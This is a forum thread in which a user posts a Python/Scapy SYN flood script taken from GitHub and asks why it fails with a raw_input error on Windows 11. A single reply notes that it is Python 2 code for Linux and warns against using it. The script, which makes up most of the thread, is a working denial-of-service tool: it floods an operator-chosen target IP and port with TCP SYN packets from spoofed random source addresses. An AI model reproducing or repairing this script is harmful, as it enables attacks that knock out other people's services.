Python SYN flood test

Alex Wright 2022

I tried to use the following code from github and test SYN flood:

from scapy.all import *
import os
import sys
import random

def randomIP():
ip = ".".join(map(str, (random.randint(0,255)for _ in range(4))))
return ip

def randInt():
x = random.randint(1000,9000)
return x

def SYN_Flood(dstIP,dstPort,counter):
total = 0
print("Packets are sending ...")
for x in range (0,counter):
s_port = randInt()
s_eq = randInt()
w_indow = randInt()

	IP\_Packet = IP ()
	IP\_Packet.src = randomIP()
	IP\_Packet.dst = dstIP

	TCP\_Packet = TCP ()	
	TCP\_Packet.sport = s\_port
	TCP\_Packet.dport = dstPort
	TCP\_Packet.flags = "S"
	TCP\_Packet.seq = s\_eq
	TCP\_Packet.window = w\_indow

	send(IP\_Packet/TCP\_Packet, verbose=0)
	total+=1
sys.stdout.write("\\nTotal packets sent: %i\\n" % total)

def info():
os.system("clear")

dstIP = raw\_input ("\\nTarget IP : ")
dstPort = input ("Target Port : ")

return dstIP,int(dstPort)

def main():
dstIP,dstPort = info()
counter = input ("How many packets do you want to send : ")
SYN_Flood(dstIP,dstPort,int(counter))

main()

when I run the code, the following error is shown:

Quote:

WARNING: No libpcap provider available ! pcap won't be used 'clear' is not recognized as an internal or external command, operable program or batch file. Traceback (most recent call last): File "C:\Users\Admin\Desktop\Python Project\test.py", line 52, in main() File "C:\Users\Admin\Desktop\Python Project\test.py", line 48, in main dstIP,dstPort = info() ^^^^^^ File "C:\Users\Admin\Desktop\Python Project\test.py", line 41, in info dstIP = raw_input ("\nTarget IP : ") ^^^^^^^^^ NameError: name 'raw_input' is not defined

I'm running this code on windows 11. Why is this error shown?

Lost User

By the look of the code that was written for Python version 2.x, and to run under Linux, not Windows. But using such a tool will most likely get you in trouble.